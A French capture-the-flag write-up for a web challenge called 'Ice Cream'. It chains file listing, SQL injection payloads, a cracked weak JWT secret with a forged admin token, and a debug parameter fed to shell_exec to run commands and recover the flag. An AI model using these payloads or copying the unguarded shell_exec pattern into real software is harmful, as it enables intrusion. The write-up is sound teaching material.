Ice Cream
Introduction
Le but de ce challenge easy est de retrouver l’ingrédient secret utilisé dans les glaces de papi.
Ce site est assez simpliste. On a une liste de fichier sur la gauche, controlée par l’URL.
Dont un fichier secret inaccessible (pas cool).

Path
- Exploiter une
LFIpour lire le code source de l’application - Exploiter une
SQLiafin d’obtenir une information sensible - Utiliser cette information dans un
JWTforgé à la main. - Prendre le contrôle de l’application via une
RCE
Énumération
LFI
On peut essayer de changer de dossier en modifiant la value de la query dir dans l’URL.
Par exemple, si on remplace le dossier ingredients par ., on a alors la liste des fichiers
de l’application, que voici :

Dedans, on a beaucoup de fichiers intéressants, que l’on peut lire.
Dans le fichier admin.php, on peut lire des choses intéressantes:
<?php
$canExecute = false;
$secret = trim(file_get_contents('jwt_secret.txt'));
$adminToken = trim(file_get_contents('admin.txt'));
// [...]
if (isset($_COOKIE['auth']) && $_COOKIE['auth'] === $adminToken) {
$canExecute = true;
}
// [...]
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['debug'])) {
if (!$canExecute) {
echo "<p>Tu ne peux pas executer de commandes avec debug tant que tu n'es pas authentifié en tant qu'admin</p>";
exit;
}
$cmd = $_GET['debug'];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
exit;
}
Dans la page admin.php, on peut donc voir qu’on a une RCE, si la query debug est définie.
L’exécution ne peut néanmoins se faire, uniquement que sur présence d’un jeton d’authentification,
présent dans le fichier admin.txt, qui nous est inaccessible.
Rien de très intéressant dans le fichier index.php, hors mis le fait que le fichier admin.php
soit include_once au début. On peut également y voir la liste des fichiers interdits
(auth.php, admin.txt,flavors.db, jwt_secret.txt, ou une image);
include_once('admin.php');
// [...]
if (isset($_GET['file']) && basename($_GET['file']) === 'auth.php') {
include(__DIR__ . '/auth.php');
exit;
}
// [...]
if (strpos(realpath($filePath), $projectRoot) === 0) {
$mimeType = mime_content_type($filePath);
if (strpos($mimeType, 'image') === 0) {
echo "<p>Image file</p>";
}
else if ($requestedFile === 'admin.txt') {
echo "<p>T'es pas admin je crois nan? </p>";
} else if ($requestedFile === 'flavors.db') {
echo "<p>Touche pas à ma db! </p>";
} else if ($requestedFile === 'jwt_secret.txt') {
echo "<p>Pas touche! </p>";
}
}
Cookie de session
On a donc un cookie de session auth définie automatiquement par l’application.
Ce cookie est un JWT très basique que voici :

Notre objectif se dessine donc, il faut essayer de changer le role en admin (ou une autre valeur).
Malheureusement, la signature du JWT est vérifiée correctement, et il nous faut donc casser le secret servant à forger le JWT.
Pour ceci, on peut utiliser l’outil johntheripper afin de brute-forcer la clé si elle est faible.
Et quelques cycles de CPU plus tard, voici la clé : icecream.

SQL Injection
Sur la page d’auth, on a un champs qui nous permet de connaitre les “types d’utilisateurs” de l’application.
Autrement-dit, leurs rôles.

Dans le champs de recherche, on peut effectuer une injection SQL. En testant avec une injection de type UNION,
un message d’erreur nous informe que la base de données tourne sous SQLite.

Cette information n’aura guère d’importance par la suite, car concrètement, aucune autre donnée présente en base était pertinante.
Néanmoins, via une simple requête ' OR 1=1 --, on devait être en capacité de récupérer tous les roles.
De mon côté, j’ai évidemment opté pour une solution bien plus simple, c’est à dire, ' union select * FROM auth -- .

De fait, on sait que le ou la jeune petit(e) enfant est administrateur, et ce grâce au role:
PAPI-JE-SUIS-UN-ADMIN
Exploitation
Forger un JWT administrateur PAPI-JE-SUIS-UN-ADMIN
On a donc le secret du JWT, sa forme, et le nom du compte administrateur.
Alors allons-y sans plus attendre, voici notre nouveau JWT:
ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9.ewogICJyb2xlIjogIlBBUEktSkUtU1VJUy1VTi1BRE1JTiIKfQ.5dqbRVpcYd_HnqS3eHGkOw0gqXrbvFjBFZGLKNdVsno
RCE
Désespéré le 21/06 à 9h du matin, sans solution, j’ai donc attendu le 25/06, après qu’un patch ait été déployé sur le challenge le 21 au soir, sans que je n’ai pu le voir.
Bref, rendez-vous sur notre page admin.php, avec l’option debug d’activée,
et notre cookie forgée prêt à partir:
http://57.128.112.118:10088/admin.php?debug
ls -lAR:

Bon. Bah dans les secrets, on a la recette de papi, mais cachée. Lisons-la :

Flag: SHLK{Ic3_Cr3am_L0v3r}